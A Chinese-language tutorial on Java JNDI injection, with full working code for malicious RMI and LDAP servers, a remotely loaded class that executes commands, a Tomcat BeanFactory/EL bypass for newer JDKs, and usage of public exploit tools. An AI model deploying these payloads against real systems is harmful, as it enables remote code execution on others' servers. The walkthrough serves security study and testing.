前言:
JNDI全称(Java Naming and Directory Interface)
是Java
提供的Java
命名和目录接口,通过调用JNDI
的API
可以定位资源和其他程序对象。而JNDI
注入就是控制 lookup
函数的参数,这样来使客户端访问恶意的 RMI
或者 LDAP
服务来加载恶意的对象,从而执行代码,完成利用
命名或目录提供者包含如下:
- RMI (JAVA远程方法调用)
- LDAP (轻量级目录访问协议)
- CORBA (公共对象请求代理体系结构)
- DNS (域名服务)
其中比较常用的是RMI和LDAP,这里主要对这两个进行讲解:
RMI:
简单例子:
被攻击服务器,这里要注意,因为我使用的java版本为8以上,所以需要手动开启信任远程代码,默认是关闭的:
package org.example;
import javax.naming.Context;
import javax.naming.InitialContext;
public class Main {
public static void main(String[] args) {
try {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String uri = "rmi://192.168.139.1:1099/test";
Context ctx = new InitialContext();
Object ret = ctx.lookup(uri);
System.out.println(ret);
} catch (Exception e) {
e.printStackTrace();
}
}
}
攻击测搭建服务器,通过绑定一个外部远程对象让客户端请求,从而使客户端恶意代码执行的方式就是利用 Reference
类实现的。Reference
类表示对存在于命名/目录系统以外的对象的引用。
具体则是指如果远程获取 RMI
服务器上的对象为 Reference
类或者其子类时,则可以从其他服务器上加载 class
字节码文件来实例化:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class main {
public static void main(String[] args) throws Exception {
try {
Registry registry = LocateRegistry.createRegistry(1099);
String factoryUrl = "http://192.168.139.1:8080/";
Reference reference = new Reference("ExecTemplateJDK8","ExecTemplateJDK8", factoryUrl);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("test", wrapper);
System.err.println("Server ready, factoryUrl:" + factoryUrl);
} catch (Exception e) {
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}
}
恶意class:
import java.io.IOException;
public class ExecTemplateJDK8{
public ExecTemplateJDK8() throws IOException{
System.out.println("ExecTemplateJDK8: Run");
}
static {
System.out.println("static block");
}
}
运行:
首先使用 javac .\ExecTemplateJDK8.java 将java文件编译为class文件,这里要注意该文件不要放置在项目中,编译完成后生成ExecTemplateJDK8.class文件
在该目录运行cmd命令搭建一个简单的web服务器:python -m http.server 8080
先运行搭建服务器,然后运行被攻击测代码,运行后可以看到被攻击端向我们的web服务器发送了请求获取了ExecTemplateJDK8.class文件,并运行。
抓取流量可以看到前面就是正常的RMI流程,最后被攻击侧获取到远程代码地址,使用http请求远程代码并本地执行。
进阶:
既然可以执行我们自己的代码,那么我们就可以编写恶意的代码,比如掉用getRuntime来执行命令:
public class ExecTemplateJDK8 {
public ExecTemplateJDK8() throws Exception{
try {
String var0 = "calc";
Runtime.getRuntime().exec(var0);
} catch (Exception var1) {
var1.printStackTrace();
}
System.out.println();
}
static {
System.out.println("run calc");
}
}
生成class后执行可以看到弹出计算器:
这样我们就可以编写任意java代码生成class文件后执行。
LDAP:
代码例子:
首先搭建服务器:
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
/**
* LDAP server implementation returning JNDI references
*
* @author mbechler
*/
public class LDAPRefServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] argsx) {
String[] args = new String[]{"http://192.168.139.1:8080/#ExecTemplateJDK8", "9999"};
int port = 0;
if (args.length < 1 || args[0].indexOf('#') < 0) {
System.err.println(LDAPRefServer.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
System.exit(-1);
} else if (args.length > 1) {
port = Integer.parseInt(args[1]);
}
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("192.168.139.1"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 192.168.139.1:" + port); //$NON-NLS-1$
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor(URL cb) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception e1) {
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
被攻击段代码:
package org.example;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class ManLdap {
public static void main(String[] args) throws NamingException {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
try {
String uri = "ldap://192.168.139.1:9999/calc";
Context ctx = new InitialContext();
ctx.lookup(uri);
} catch (Exception e) {
e.printStackTrace();
}
}
}
ExecTemplateJDK8还是使用上面的,运行方式相同,先python -m http.server 8080运行服务器,然后运行搭建的服务器,最后运行被攻击的代码即可:
抓取流量可以看到:
高版本分析:
其实在被攻击端代码可以看到需要两行代码,才能攻击成功:
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
在jdk11.0.1
、8u191
、7u201
、6u211
版本开始默com.sun.jndi.ldap.object.trustURLCodebase设置为false,在com.sun.naming.internal.VersionHelper12中可以看到:
在调用中会对值进行判断,只有当为trustURLCodebase为true时可以读取远程class文件并通过反射进行调用:
绕过:
那要如何进行绕过,首先先展示以下调用栈,方便我们进行分析:
在getObjectFactoryFromReference中可以看到,首先是先加载本地文件,如果找不到才会去进行远程加载:
这里做个演示,我们将ExecTemplateJDK8放到被攻击端服务器中,然后将搭建服务端改为如下代码:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class main {
public static void main(String[] args) throws Exception {
try {
Registry registry = LocateRegistry.createRegistry(1099);
String factoryUrl = "http://192.168.139.1:8080/";
Reference reference = new Reference("org.example.ExecTemplateJDK8","org.example.ExecTemplateJDK8", null);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("test", wrapper);
System.err.println("Server ready, factoryUrl:" + factoryUrl);
} catch (Exception e) {
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}
}
主要更改位置:
Reference reference = new Reference("org.example.ExecTemplateJDK8","org.example.ExecTemplateJDK8", null);
执行后可以看到,可以获取到获取到本地的factoryName后就直接反射运行,之后会执行静态代码块、代码块、无参构造函数和getObjectInstance方法,那么这里就有可能存在绕过,因为会执行本地类的三个代码块和getObjectInstance方法,我们要找到一个可以利用的类才行:
这里前辈找到了绕过办法在tomcat-embed-core包中org.apache.naming.factory.BeanFactory#getObjectInstance中,先看下poc:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Main_poc {
public static void main(String[] args) throws Exception {
try{
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("calc", referenceWrapper);
} catch (Exception e) {
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}
}
被攻击端代码不变,执行后可以看到弹出计算器,下面分析下是如何绕过的:
在进入 getObjectInstance方法后,首先会加载我们传入的类名javax.el.ELProcessor
然后获取forceString属性值为eval
这里会将我们传入的x=eval 拆分,最后将要调用的方法java.lang.Object javax.el.ELProcessor.eval(java.lang.String)放入HashMap中:
这里获取我们传入的反射调用Runtime类方法实现命令执行的ef表达式参数:
最后调用createValueExpression执行,弹出计算器。
这里绕过采用了反射调用javax.el.ELProcessor然后执行ef表达式,这里稍微讲解下ef表达式来执行命令的:
常见的表达式注入有EL
表达式注入、SpEL
表达式注入和OGNL
表达式注入三种,EL
表达式所依赖的包javax.el
等都在JUEL
相关的jar
包中。
JUEL(Java Unified Expression Language)是统一表达语言轻量而高效级的实现, 具有高性能、插件式缓存、小体积、支持方法调用和多参数调用、可插拔多种特性
package org.example;
import de.odysseus.el.ExpressionFactoryImpl;
import de.odysseus.el.util.SimpleContext;
import javax.el.ExpressionFactory;
import javax.el.ValueExpression;
import javax.naming.StringRefAddr;
public class Main {
public static void main(String[] args) {
ExpressionFactory expressionFactory = new ExpressionFactoryImpl();
SimpleContext simpleContext = new SimpleContext();
String exp1 = "${\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")}";
String exp2 = "${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc.exe')}";
ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp1, String.class);
System.out.println(valueExpression.getValue(simpleContext));
}
}
执行成功:
JNDI-Injection:
当然自己搭建服务器可能比较麻烦,这里有人已经实现了轮子,这里可以拿来直接使用,地址如下:
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus
这里我们可以选择源代码便于自己二次修改或者直接下载编译好的jar包:
使用编译好的jar包执行命令:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A "192.168.139.1",然后运行被攻击端代码,即可弹出计算器:
代码中可以看到在高版本java下有四种绕过方式:
第一种就是我们上面测试的反射javax.el.ELProcessor执行elf表达式:
第二种为反射groovy.lang.GroovyClassLoader进而调用getRuntime执行命令:
第三种为反射groovy.lang.GroovyShell执行bash命令:
第四种利用com.ibm.ws.webservices.engine.client.ServiceFactory去加载上传的任意WSDL文件:
针对WebSphere的利用绕过,大家可以参考这个github项目
https://github.com/veracode-research/rogue-jndi
这里面包含了5种绕过方法,大家可以哪来参考。
本地测试了下均能成功,当然如果有人还有其他绕过手段也可加在这里,另外该工具可以生成序列化 Gadget有74种,比 ysoserial多不少,感兴趣的可以用来生成Gadget。
后记:
在低版本jdk版本下当发现存在JNDI注入还是比较好利用,用工具或者自己搭建服务器就能直接讲自己的恶意代码在被攻击测执行,但是JDK 6u132、7u122、8u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false就不能直接加载远程代码了,这给利用带来了不小的难度,一般情况下也不会有服务器会自己把trustURLCodebase改为true,所以这个时候只能采用可以加载本地类这个特性,利用本地类种可能存在的漏洞加以利用,JNDI-Injection工具种实现了四个,但是对环境以来较高。
在真实测试中可以多进行测试,毕竟是黑盒测试,有时候就像抓彩票,能不能RCE有时候也要看运气了。